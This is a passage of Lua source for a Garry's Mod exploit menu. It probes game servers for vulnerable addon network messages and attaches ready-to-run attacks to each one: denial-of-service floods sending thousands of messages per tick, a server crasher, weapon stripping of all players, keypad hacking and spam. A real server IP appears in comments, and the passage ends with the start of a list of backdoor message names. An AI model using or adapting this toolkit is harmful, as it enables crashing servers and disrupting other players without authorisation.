6041 net.Start("DeployMask")
6042 net.WriteEntity(v)
6043 net.SendToServer()
6044 end
6045 end)
6046 end
6047
6048 status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
6049
6050 if (status) then
6051 ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
6052
6053 addExploit("256", "Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
6054 surface.PlaySound("garrysmod/ui_click.wav")
6055 ECNotify("Starting")
6056
6057 for k, v in pairs(ents.GetAll()) do
6058 net.Start("RemoveMask")
6059 net.WriteEntity(v)
6060 net.SendToServer()
6061 end
6062 end)
6063 end
6064
6065 status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
6066
6067 if (status) then
6068 ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
6069
6070 addExploit("257", "Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
6071 surface.PlaySound("garrysmod/ui_click.wav")
6072 ECNotify("Starting")
6073
6074 for k, v in pairs(ents.GetAll()) do
6075 net.Start("SwapFilter")
6076 net.WriteEntity(v)
6077 net.SendToServer()
6078 end
6079 end)
6080 end
6081
6082 status = ValidNetString("WipeMask") -- 37.230.228.248:27016
6083
6084 if (status) then
6085 ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
6086
6087 addExploit("258", "Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
6088 surface.PlaySound("garrysmod/ui_click.wav")
6089 ECNotify("Starting")
6090
6091 for k, v in pairs(ents.GetAll()) do
6092 net.Start("WipeMask")
6093 net.WriteEntity(v)
6094 net.SendToServer()
6095 end
6096 end)
6097 end
6098
6099 status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
6100
6101 if (status) then
6102 ECPrint("Found Exploit: Use Medkit [UseMedkit]")
6103
6104 addExploit("259", "Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
6105 surface.PlaySound("garrysmod/ui_click.wav")
6106 ECNotify("Starting")
6107
6108 for k, v in pairs(ents.GetAll()) do
6109 net.Start("UseMedkit")
6110 net.WriteEntity(v)
6111 net.SendToServer()
6112 end
6113 end)
6114 end
6115
6116 status = ValidNetString("IDInv_RequestBank")
6117
6118 if (status) then
6119 ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
6120
6121 addExploit("260", "Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
6122 surface.PlaySound("garrysmod/ui_click.wav")
6123 ECNotify("Starting")
6124
6125 if not timer.Exists("lagger23") then
6126 timer.Create("lagger23", 0, 0, function()
6127 for i = 1, 1000 do
6128 net.Start("IDInv_RequestBank", true)
6129 net.SendToServer()
6130 end
6131 end)
6132 end
6133 end)
6134 end
6135
6136 status = ValidNetString("casinokit_chipexchange")
6137
6138 if (status) then
6139 ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
6140
6141 addExploit("261", "Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
6142 surface.PlaySound("garrysmod/ui_click.wav")
6143 ECNotify("Starting")
6144
6145 if not timer.Exists("lagger24") then
6146 timer.Create("lagger24", 0, 0, function()
6147 for i = 1, 1000 do
6148 net.Start("casinokit_chipexchange", true)
6149 net.WriteEntity(LocalPlayer())
6150 net.WriteString("darkrp")
6151 net.WriteBool(false)
6152 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6153 net.SendToServer()
6154 end
6155 end)
6156 end
6157 end)
6158 end
6159
6160 status = ValidNetString("RemoveTag")
6161
6162 if (status) then
6163 ECPrint("Found Exploit: 1tap server [RemoveTag]")
6164
6165 addExploit("262", "1tap server", "discovered by Leith", function()
6166 surface.PlaySound("garrysmod/ui_click.wav")
6167 ECNotify("Starting")
6168
6169 timer.Create("1tap", 0.5, 0, function()
6170 for i = 1, 4000 do
6171 net.Start("RemoveTag")
6172 net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
6173 net.SendToServer()
6174 end
6175 end)
6176 end)
6177 end
6178
6179 status = ValidNetString("desktopPrinter_Withdraw")
6180
6181 if (status) then
6182 ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
6183
6184 addExploit("263", "Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
6185 surface.PlaySound("garrysmod/ui_click.wav")
6186 ECNotify("Starting")
6187
6188 if not timer.Exists("lagger25") then
6189 timer.Create("lagger25", 0, 0, function()
6190 for i = 1, 1000 do
6191 net.Start("desktopPrinter_Withdraw", true)
6192 net.WriteEntity(LocalPlayer())
6193 net.SendToServer()
6194 end
6195 end)
6196 end
6197 end)
6198 end
6199
6200 status = ValidNetString("sphys_dupe")
6201
6202 if (status) then
6203 ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
6204
6205 addExploit("264", "Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6206 surface.PlaySound("garrysmod/ui_click.wav")
6207 ECNotify("Starting")
6208
6209 timer.Create("lagger26", 0.2, 0, function()
6210 for i = 1, 2200 do
6211 net.Start("sphys_dupe", true)
6212 net.SendToServer()
6213 end
6214 end)
6215 end)
6216 end
6217
6218 status = ValidNetString("simfphys_gasspill")
6219
6220 if (status) then
6221 ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
6222
6223 addExploit("265", "Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6224 surface.PlaySound("garrysmod/ui_click.wav")
6225 ECNotify("Starting")
6226
6227 timer.Create("poop", 0.1, 0, function()
6228 for k, v in pairs(player.GetAll()) do
6229 for j = 1, 3 do
6230 if IsValid(v) then
6231 net.Start("simfphys_gasspill")
6232 net.WriteVector(v:GetPos() + Vector(0, 0, 90))
6233 net.WriteVector(v:EyePos())
6234 net.SendToServer()
6235 end
6236 end
6237 end
6238 end)
6239 end)
6240 end
6241
6242 status = ValidNetString("dronesrewrite_controldr")
6243
6244 if (status) then
6245 ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
6246
6247 addExploit("266", "Lagger #27", "discovered by Solly", function()
6248 surface.PlaySound("garrysmod/ui_click.wav")
6249 ECNotify("Starting")
6250
6251 timer.Create("lagger27", 0.2, 0, function()
6252 for i = 1, 2200 do
6253 net.Start("dronesrewrite_controldr", true)
6254 net.SendToServer()
6255 end
6256 end)
6257 end)
6258 end
6259
6260 status = ValidNetString("SCP-294Sv")
6261
6262 if (status) then
6263 ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
6264
6265 addExploit("267", "SCP-294 Exploit", "discovered by questionmark", function()
6266 surface.PlaySound("garrysmod/ui_click.wav")
6267 ECNotify("Starting")
6268
6269 for k, v in pairs(ents.GetAll()) do
6270 net.Start("SCP-294Sv")
6271 net.WriteString("acid")
6272 net.WriteEntity(v)
6273 net.SendToServer()
6274 end
6275 end)
6276 end
6277
6278 status = ValidNetString("VC_PlayerReady")
6279
6280 if (status) then
6281 ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
6282
6283 addExploit("268", "Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
6284 surface.PlaySound("garrysmod/ui_click.wav")
6285 ECNotify("Starting")
6286
6287 timer.Create("lagger28", 0, 0, function()
6288 for i = 1, 1000 do
6289 net.Start("VC_PlayerReady", true)
6290 net.SendToServer()
6291 end
6292 end)
6293 end)
6294 end
6295
6296 status = ValidNetString("phone")
6297
6298 if (status) then
6299 ECPrint("Found Exploit: Call all players [phone]")
6300
6301 addExploit("269", "Call all players", "discovered by questionmark", function()
6302 surface.PlaySound("garrysmod/ui_click.wav")
6303 ECNotify("Starting")
6304
6305 for k, v in pairs(player.GetAll()) do
6306 net.Start("phone")
6307
6308 net.WriteTable{
6309 ply = v,
6310 act = 'call'
6311 }
6312
6313 net.SendToServer()
6314 end
6315 end)
6316 end
6317
6318 status = ValidNetString("blueatm")
6319
6320 if (status) then
6321 ECPrint("Found Exploit: Lagger #29 [blueatm]")
6322
6323 addExploit("270", "Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
6324 surface.PlaySound("garrysmod/ui_click.wav")
6325 ECNotify("Starting")
6326
6327 timer.Create("lagger29", 0, 0, function()
6328 for i = 1, 1000 do
6329 net.Start("blueatm", true)
6330 net.WriteEntity(LocalPlayer())
6331 net.SendToServer()
6332 end
6333 end)
6334 end)
6335 end
6336
6337 status = ValidNetString("cab_cd_testdrive")
6338
6339 if (status) then
6340 ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
6341
6342 addExploit("271", "Stavox Teleport", "discovered by Aromatic", function()
6343 surface.PlaySound("garrysmod/ui_click.wav")
6344 ECNotify("Starting")
6345 net.Start('cab_cd_testdrive')
6346 net.WriteUInt(0, 3)
6347 net.WriteUInt(5, 8)
6348 net.SendToServer()
6349 end)
6350 end
6351
6352 status = ValidNetString("cab_sendmessage")
6353
6354 if (status) then
6355 ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
6356
6357 addExploit("272", "Stavox Message", "discovered by Aromatic", function()
6358 surface.PlaySound("garrysmod/ui_click.wav")
6359 ECNotify("Starting")
6360
6361 for k, v in pairs(player.GetAll()) do
6362 net.Start("cab_sendmessage")
6363 net.WriteEntity(v)
6364 net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
6365 net.SendToServer()
6366 end
6367 end)
6368 end
6369
6370 status = ValidNetString("disguise")
6371
6372 if (status) then
6373 ECPrint("Found Exploit: Lagger #30 [disguise]")
6374
6375 addExploit("273", "Lagger #30", "discovered by Aromatic & Leith", function()
6376 surface.PlaySound("garrysmod/ui_click.wav")
6377
6378 timer.Create("lagger30", 0, 0, function()
6379 for i = 1, 1000 do
6380 net.Start("disguise", true)
6381 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
6382 net.SendToServer()
6383 end
6384 end)
6385 end)
6386 end
6387
6388 status = ValidNetString("FARMINGMOD_DROPITEM")
6389
6390 if (status) then
6391 ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
6392
6393 addExploit("274", "Lagger #31", "discovered by Leith", function()
6394 surface.PlaySound("garrysmod/ui_click.wav")
6395
6396 timer.Create("lagger31", 0, 0, function()
6397 for i = 1, 1000 do
6398 net.Start("FARMINGMOD_DROPITEM", true)
6399 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
6400 net.SendToServer()
6401 end
6402 end)
6403 end)
6404 end
6405
6406 status = ValidNetString("SlotsRemoved")
6407
6408 if (status) then
6409 ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
6410
6411 addExploit("275", "Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
6412 surface.PlaySound("garrysmod/ui_click.wav")
6413
6414 timer.Create("lagger32", 0, 0, function()
6415 for i = 1, 1000 do
6416 net.Start("SlotsRemoved", true)
6417 net.SendToServer()
6418 end
6419 end)
6420 end)
6421 end
6422
6423 status = ValidNetString("AirDrops_StartPlacement")
6424
6425 if (status) then
6426 ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
6427
6428 addExploit("276", "Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
6429 surface.PlaySound("garrysmod/ui_click.wav")
6430
6431 timer.Create("lagger33", 0, 0, function()
6432 for i = 1, 1000 do
6433 net.Start("AirDrops_StartPlacement", true)
6434 net.SendToServer()
6435 end
6436 end)
6437 end)
6438 end
6439
6440 status = ValidNetString("pp_info_send")
6441
6442 if (status) then
6443 ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
6444
6445 addExploit("277", "Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
6446 surface.PlaySound("garrysmod/ui_click.wav")
6447
6448 timer.Create("lagger33", 0, 0, function()
6449 for i = 1, 1000 do
6450 net.Start("pp_info_send", true)
6451 net.SendToServer()
6452 end
6453 end)
6454 end)
6455 end
6456
6457 status = ValidNetString("IGS.GetPaymentURL")
6458
6459 if (status) then
6460 ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
6461
6462 addExploit("278", "Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
6463 surface.PlaySound("garrysmod/ui_click.wav")
6464
6465 timer.Create("lagger35", 0, 0, function()
6466 for i = 1, 1000 do
6467 net.Start("IGS.GetPaymentURL", true)
6468 net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
6469 net.SendToServer()
6470 end
6471 end)
6472 end)
6473 end
6474
6475 status = ValidNetString("fg_printer_money")
6476
6477 if (status) then
6478 ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
6479
6480 addExploit("279", "Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
6481 surface.PlaySound("garrysmod/ui_click.wav")
6482
6483 timer.Create("lagger36", 0, 0, function()
6484 for i = 1, 1000 do
6485 net.Start('fg_printer_money', true)
6486 net.WriteEntity(LocalPlayer())
6487 net.SendToServer()
6488 end
6489 end)
6490 end)
6491 end
6492
6493 status = ValidNetString("tickbookpayfine")
6494
6495 if (status) then
6496 ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
6497
6498 addExploit("280", "Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
6499 surface.PlaySound("garrysmod/ui_click.wav")
6500
6501 timer.Create("lagger37", 0, 0, function()
6502 for i = 1, 1000 do
6503 net.Start("tickbookpayfine", true)
6504 net.SendToServer()
6505 end
6506 end)
6507 end)
6508 end
6509
6510 status = ValidNetString("BeginSpin")
6511
6512 if (status) then
6513 ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
6514
6515 addExploit("281", "Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
6516 surface.PlaySound("garrysmod/ui_click.wav")
6517
6518 timer.Create("lagger38", 0, 0, function()
6519 for i = 1, 1000 do
6520 net.Start("BeginSpin", true)
6521 net.SendToServer()
6522 end
6523 end)
6524 end)
6525 end
6526
6527 status = ValidNetString("DuelRequestClient")
6528
6529 if (status) then
6530 ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
6531
6532 addExploit("282", "Lagger #39", "discovered by Leith", function()
6533 surface.PlaySound("garrysmod/ui_click.wav")
6534
6535 timer.Create("lagger39", 0, 0, function()
6536 for i = 1, 1000 do
6537 net.Start("DuelRequestClient", true)
6538 net.SendToServer()
6539 end
6540 end)
6541 end)
6542 end
6543
6544 status = ValidNetString("ncpstoredoact")
6545
6546 if (status) then
6547 ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
6548
6549 addExploit("283", "Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
6550 surface.PlaySound("garrysmod/ui_click.wav")
6551
6552 timer.Create("lagger40", 0, 0, function()
6553 for i = 1, 1000 do
6554 net.Start("ncpstoredoact", true)
6555 net.SendToServer()
6556 end
6557 end)
6558 end)
6559 end
6560
6561 status = ValidNetString("PermwepsNPCSellWeapon")
6562
6563 if (status) then
6564 ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
6565
6566 addExploit("284", "Lagger #41", "discovered by Leith", function()
6567 surface.PlaySound("garrysmod/ui_click.wav")
6568
6569 timer.Create("lagger41", 0, 0, function()
6570 for i = 1, 2000 do
6571 net.Start("PermwepsNPCSellWeapon", true)
6572 net.WriteString("")
6573 net.SendToServer()
6574 end
6575 end)
6576 end)
6577 end
6578
6579 status = ValidNetString("bitcoins_request_withdraw")
6580
6581 if (status) then
6582 ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
6583
6584 addExploit("285", "Lagger #42", "discovered by Leith", function()
6585 surface.PlaySound("garrysmod/ui_click.wav")
6586
6587 timer.Create("lagger42", 0, 0, function()
6588 for i = 1, 2000 do
6589 net.Start("bitcoins_request_withdraw", true)
6590 net.SendToServer()
6591 end
6592 end)
6593 end)
6594 end
6595
6596 status = ValidNetString("bitcoins_request_turn_on")
6597
6598 if (status) then
6599 ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
6600
6601 addExploit("286", "To include all bitcoin miners", "discovered by Leith", function()
6602 surface.PlaySound("garrysmod/ui_click.wav")
6603 ECNotify("Starting")
6604
6605 for k, v in pairs(ents.GetAll()) do
6606 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6607 net.Start("bitcoins_request_turn_on")
6608 net.WriteEntity(v)
6609 net.SendToServer()
6610 end
6611 end
6612 end)
6613 end
6614
6615 status = ValidNetString("bitcoins_request_turn_off")
6616
6617 if (status) then
6618 ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
6619
6620 addExploit("287", "Disable all bitcoin miners", "discovered by Leith", function()
6621 surface.PlaySound("garrysmod/ui_click.wav")
6622 ECNotify("Starting")
6623
6624 for k, v in pairs(ents.GetAll()) do
6625 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6626 net.Start("bitcoins_request_turn_off")
6627 net.WriteEntity(v)
6628 net.SendToServer()
6629 end
6630 end
6631 end)
6632 end
6633
6634 status = ValidNetString("NET_AM_MakePotion")
6635
6636 if (status) then
6637 ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
6638
6639 addExploit("288", "Lagger #43", "discovered by Leith", function()
6640 surface.PlaySound("garrysmod/ui_click.wav")
6641 ECNotify("Starting")
6642
6643 timer.Create("lagger43", 0, 0, function()
6644 for i = 1, 2000 do
6645 net.Start('NET_AM_MakePotion', true)
6646 net.WriteEntity(LocalPlayer())
6647 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
6648 net.SendToServer()
6649 end
6650 end)
6651 end)
6652 end
6653
6654 status = ValidNetString("minigun_drones_switch")
6655
6656 if (status) then
6657 ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
6658
6659 addExploit("289", "Lagger #44", "discovered by Solly", function()
6660 surface.PlaySound("garrysmod/ui_click.wav")
6661 ECNotify("Starting")
6662
6663 timer.Create("lagger44", 0.2, 0, function()
6664 for i = 1, 2200 do
6665 net.Start("minigun_drones_switch", true)
6666 net.SendToServer()
6667 end
6668 end)
6669 end)
6670 end
6671
6672 status = ValidNetString("CW20_PRESET_LOAD")
6673
6674 if (status) then
6675 ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
6676
6677 addExploit("290", "Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
6678 surface.PlaySound("garrysmod/ui_click.wav")
6679 ECNotify("Starting")
6680
6681 timer.Create("lagger45", 0.2, 0, function()
6682 if (LocalPlayer():GetActiveWeapon():GetClass():find("cw")) then
6683 for i = 1, 2200 do
6684 net.Start("CW20_PRESET_LOAD", true)
6685 net.SendToServer()
6686 end
6687 end
6688 end)
6689 end)
6690 end
6691
6692 status = ValidNetString("SBP_addtime")
6693
6694 if (status) then
6695 ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
6696
6697 addExploit("291", "Lagger #46", "discovered by Solly", function()
6698 surface.PlaySound("garrysmod/ui_click.wav")
6699 ECNotify("Starting")
6700
6701 timer.Create("lagger46", 0.3, 0, function()
6702 for i = 1, 2200 do
6703 net.Start("SBP_addtime", true)
6704 net.SendToServer()
6705 end
6706 end)
6707 end)
6708 end
6709
6710 status = ValidNetString("NetData")
6711
6712 if (status) then
6713 ECPrint("Found Exploit: Outfit player nouser [NetData]")
6714
6715 addExploit("292", "Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
6716 surface.PlaySound("garrysmod/ui_click.wav")
6717 ECNotify("Starting")
6718
6719 for k, v in pairs(player.GetAll()) do
6720 net.Start("NetData")
6721 net.WriteString("OF")
6722 net.WriteUInt(4, 8)
6723 net.WriteData(math.random(100000, 9999999) .. ",sis.mdl", 30)
6724 net.SendToServer()
6725 end
6726 end)
6727 end
6728
6729 status = ValidNetString("StackGhost")
6730
6731 if (status) then
6732 ECPrint("Found Exploit: DDoS #1")
6733
6734 addExploit("294", "DDoS #1", "Creates lags on server [StackGhost]", function()
6735 surface.PlaySound("garrysmod/ui_click.wav")
6736 ECNotify("Starting")
6737
6738 timer.Create("DDoS", 0.02, 0, function()
6739 for i = 1, 2000 do
6740 net.Start("StackGhost", true)
6741 net.WriteInt(69, 32)
6742 net.SendToServer()
6743 end
6744 end)
6745 end)
6746 end
6747
6748 status = ValidNetString("pac_submit")
6749
6750 if (status) then
6751 ECPrint("Found Exploit: DDoS #2")
6752
6753 addExploit("295", "DDoS #2", "Creates lags on server [pac_sumbit]", function()
6754 surface.PlaySound("garrysmod/ui_click.wav")
6755 ECNotify("Starting")
6756
6757 -----------------------------------
6758 timer.Create("DDoS2", 0.02, 0, function()
6759 for i = 1, 1000 do
6760 Disco.NetStart("pac_submit")
6761 net.SendToServer()
6762 end
6763 end)
6764 end)
6765 ----------------------------------
6766 end
6767
6768 status = ValidNetString("RequestMAPSize")
6769
6770 if (status) then
6771 ECPrint("Found Exploit: 1tap server [MapSize]")
6772
6773 addExploit("296", "1tap server [MapSize]", "-1 server", function()
6774 surface.PlaySound("garrysmod/ui_click.wav")
6775 ECNotify("Starting")
6776
6777 -----------------------------------
6778 timer.Create("lagger10", 0, 0, function()
6779 for i = 1, 400 do
6780 net.Start("RequestMAPSize")
6781 net.SendToServer()
6782 end
6783 end)
6784 end)
6785 ----------------------------------
6786 end
6787
6788 status = ValidNetString("properties")
6789
6790 if (status) then
6791 ECPrint("Found Exploit: Weapon Strip")
6792
6793 addExploit("297", "Weapon Strip", "-weapon", function()
6794 surface.PlaySound("garrysmod/ui_click.wav")
6795 ECNotify("Starting")
6796
6797 -----------------------------------
6798 for k, v in pairs(player.GetAll()) do
6799 if v:IsPlayer() then
6800 for k, v in pairs(v:GetWeapons()) do
6801 net.Start("properties")
6802 net.WriteString("remove", 32)
6803 net.WriteEntity(v)
6804 net.SendToServer()
6805 end
6806 end
6807 end
6808 end)
6809 ----------------------------------
6810 end
6811
6812 status = ValidNetString("start_wd_emp")
6813
6814 if (status) then
6815 ECPrint("Found Exploit: Hack Keypad")
6816
6817 addExploit("298", "HackKeypad", "Hack Keypad", function()
6818 surface.PlaySound("garrysmod/ui_click.wav")
6819 ECNotify("Starting")
6820 -----------------------------------
6821 net.Start('start_wd_emp')
6822 net.SendToServer()
6823 end)
6824 ----------------------------------
6825 end
6826
6827 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
6828
6829 if (status) then
6830 ECPrint("Found Exploit: Server Crash")
6831
6832 addExploit("299", "Server Crash", " ", function()
6833 surface.PlaySound("garrysmod/ui_click.wav")
6834 ECNotify("Starting")
6835
6836 -----------------------------------
6837 timer.Create("crasher2", 0, 0, function()
6838 for i = 1, 400 do
6839 net.Start("pac.net.TouchFlexes.ClientNotify")
6840 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
6841 net.SendToServer()
6842 end
6843 end)
6844 end)
6845 ----------------------------------
6846 end
6847
6848 status = ValidNetString("ItemStoreDrop")
6849
6850 if (status) then
6851 ECPrint("Found Exploit: DDoS item")
6852
6853 addExploit("300", "DDoS item", " ", function()
6854 surface.PlaySound("garrysmod/ui_click.wav")
6855 ECNotify("Starting")
6856
6857 -----------------------------------
6858 timer.Create("lagger7", 0, 0, function()
6859 for i = 1, 1000 do
6860 net.Start("ItemStoreDrop")
6861 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6862 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6863 net.SendToServer()
6864 end
6865 end)
6866 end)
6867 ----------------------------------
6868 end
6869
6870 status = ValidNetString("TFA_Attachment_RequestAll")
6871
6872 if (status) then
6873 ECPrint("Found Exploit: TFA LAGGER")
6874
6875 addExploit("301", "TFA LAGGER", " ", function()
6876 surface.PlaySound("garrysmod/ui_click.wav")
6877 ECNotify("Starting")
6878
6879 -----------------------------------
6880 timer.Create("lagger20", 0.02, 0, function()
6881 for i = 1, 4400 do
6882 net.Start("TFA_Attachment_RequestAll", true)
6883 net.SendToServer()
6884 end
6885 end)
6886 end)
6887 ----------------------------------
6888 end
6889
6890 status = ValidNetString("ts_buytitle")
6891
6892 if (status) then
6893 ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
6894
6895 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
6896 surface.PlaySound("garrysmod/ui_click.wav")
6897 ECNotify("Starting")
6898
6899 timer.Create("lagger47", 0, 0, function()
6900 for i = 1, 1000 do
6901 net.Start("ts_buytitle", true)
6902 net.WriteTable({})
6903 net.WriteTable({})
6904 net.WriteTable({})
6905 net.SendToServer()
6906 end
6907 end)
6908 end)
6909 end
6910
6911 status = ValidNetString("SBP_addtime")
6912
6913 if (status) then
6914 ECPrint("Found Exploit: XP Booster [SBP_addtime]")
6915
6916 addExploit("293", "XP Booster", "discovered by Solly", function()
6917 inputFrameExists = true
6918 inputFrame = vgui.Create("DFrame")
6919 inputFrame:SetTitle("Enter the number")
6920 inputFrame:SetSize(400, 75)
6921 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
6922 inputFrame:SetDraggable(false)
6923 inputFrame:ShowCloseButton(true)
6924 inputFrame:MakePopup()
6925
6926 inputFrame.Paint = function(self, w, h)
6927 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
6928 end
6929
6930 local TextEntry = vgui.Create("DTextEntry", inputFrame)
6931 TextEntry:SetSize(380, 30)
6932 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
6933 TextEntry:SetText("100")
6934
6935 TextEntry.OnEnter = function(self)
6936 surface.PlaySound("garrysmod/ui_click.wav")
6937
6938 timer.Create("ofn", 0.2, 0, function()
6939 for i = 1, tonumber(self:GetText()) do
6940 net.Start("SBP_addtime")
6941 net.SendToServer()
6942 end
6943
6944 inputFrame:SetVisible(false)
6945 end)
6946 end
6947 end)
6948 end
6949
6950 --/////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
6951 status = ValidNetString("EnterpriseWithdraw")
6952
6953 if (status) then
6954 ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
6955
6956 addExploit("1337", "ENTERPRISE FOUND!", "discovered by Leith", function()
6957 surface.PlaySound("garrysmod/ui_click.wav")
6958 ECNotify("Starting")
6959 net.Start("EnterpriseWithdraw")
6960 net.WriteInt(100, 32)
6961 net.SendToServer()
6962 end)
6963 end
6964
6965 status = ValidNetString("SetPermaKnife")
6966
6967 if (status) then
6968 ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
6969
6970 addExploit("1337", "PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
6971 surface.PlaySound("garrysmod/ui_click.wav")
6972 end)
6973 --[[
6974 function cockSucker(ply,cmd,args,argStr)
6975 local ply = LocalPlayer()
6976
6977 net.Start( "SetPermaKnife" )
6978 net.WriteString( string.TrimRight(argStr,".lua") )
6979 net.SendToServer()
6980 end
6981
6982 concommand.Add("gibe_weapon",cockSucker)
6983 ]]
6984 end
6985 ----------------------------------------------------------------------------------
6986 -- for k, v in pairs(player.GetAll()) do
6987 -- for k, v in pairs(ents.GetAll()) do
6988 ----------------------------------------------------------------------------------
6989 -- if !timer.Exists("lagger") then
6990 -- timer.Create("lagger", 0, 0, function()
6991 -- for i = 1, 1000 do
6992 -----------------------------
6993 -- 9999999999999999999999999999999999999999999999999999999999
6994 -- 0xFFFFFFF
6995 --------------------------------------------------------------------------------------------------
6996 --------------------------------------------------------------------------------------------------
6997 --------------------------------------------------------------------------------------------------
6998
6999end
7000concommand.Add('lyr3x_exploits', function()
7001 R8_Menu()
7002end)
7003
7004
7005local BD = {}
7006netKey = "memeDoor"
7007BackdoorsFound = 0
7008
7009function ValidNetString(str)
7010 local status, error = pcall(net.Start, str)
7011
7012 return status
7013end
7014
7015BackDoor_net = {
7016 {
7017 NetWork = "Sandbox_ArmDupe"
7018 },
7019 {
7020 NetWork = "Sbox_darkrp"
7021 },
7022 {
7023 NetWork = "Sbox_itemstore"
7024 },
7025 {
7026 NetWork = "Ulib_Message"
7027 },
7028 {
7029 NetWork = "ULogs_Info"
7030 },
7031 {
7032 NetWork = "ITEM"
7033 },
7034 {
7035 NetWork = "R8"
7036 },
7037 {
7038 NetWork = "fix"
7039 },
7040 {
7041 NetWork = "Fix_Keypads"
7042 },
7043 {
7044 NetWork = "Remove_Exploiters"
7045 },
7046 {
7047 NetWork = "noclipcloakaesp_chat_text"
7048 },
7049 {
7050 NetWork = "_Defqon"
7051 },
7052 {
7053 NetWork = "_CAC_ReadMemory",
7054"nostrip"
7055 },
7056 {
7057 NetWork = "nocheat"
7058 },
7059 {
7060 NetWork = "LickMeOut"
7061 },
